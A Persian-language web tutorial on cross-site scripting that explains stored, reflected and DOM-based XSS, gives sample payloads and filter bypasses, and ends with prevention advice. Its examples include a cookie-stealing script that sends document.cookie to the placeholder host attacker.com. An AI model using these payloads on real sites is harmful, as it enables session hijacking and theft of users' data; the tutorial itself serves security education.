آموزش کامل XSS (۲۰۲۵)

آموزش کامل XSS (۲۰۲۵)

XSS چیست؟

XSS یا Cross-Site Scripting یکی از رایج‌ترین و خطرناک‌ترین آسیب‌پذیری‌های وب است. در این حمله، مهاجم می‌تواند کدهای جاوااسکریپت مخرب را در وب‌سایت تزریق کرده و باعث اجرای آن در مرورگر کاربران شود.

⚠️ هشدار: این آموزش صرفاً برای اهداف آموزشی و تست نفوذ قانونی است. استفاده غیرمجاز از این تکنیک‌ها پیگرد قانونی دارد.

انواع XSS

  • Stored XSS: کد مخرب در دیتابیس ذخیره می‌شود و هر بار کاربر صفحه را باز کند اجرا می‌شود.
  • Reflected XSS: کد مخرب در پارامترهای URL یا ورودی کاربر قرار می‌گیرد و بلافاصله اجرا می‌شود.
  • DOM-based XSS: آسیب‌پذیری ناشی از کدنویسی سمت کلاینت (JavaScript) بدون فیلتر ورودی است.

نمونه‌های ساده حمله XSS

۱. حمله ساده (Reflected XSS)


<script>alert('XSS')</script>
  

اگر این کد در ورودی یک فرم قرار گیرد و بدون فیلتر در صفحه نمایش داده شود، هشدار اجرا خواهد شد.

۲. بای‌پس فیلتر اولیه


<img src=x onerror=alert('XSS')>
  

اگر فیلتر فقط روی تگ <script> باشد، می‌توان از رویدادهای HTML مثل onerror استفاده کرد.

۳. DOM-based XSS


<script>
  var q = document.location.hash;
  document.body.innerHTML = q;
</script>
  

اگر URL شامل #<img src=x onerror=alert('XSS')> باشد، اسکریپت اجرا خواهد شد.

نمونه‌های پیشرفته تست XSS

۴. دور زدن فیلتر با استفاده از Unicode


<svg onload=alert(`XSS`)\u003E
  

۵. استفاده از جاوااسکریپت این‌لاین


" onmouseover="alert('XSS')
  

۶. اجرای درخواست مخرب (سرقت کوکی)


<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>
  
💡 نکته: همیشه هنگام تست XSS از ابزارهای امن مثل Burp Suite و مرورگرهای آزمایشی استفاده کنید. استفاده روی سیستم اصلی خطرناک است.

راه‌های جلوگیری از XSS

  • استفاده از توابع HTML Encoding برای ورودی‌ها
  • جلوگیری از اجرای HTML در ورودی‌ها
  • فعال‌سازی Content Security Policy (CSP)
  • استفاده از کتابخانه‌های امن مثل DOMPurify

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *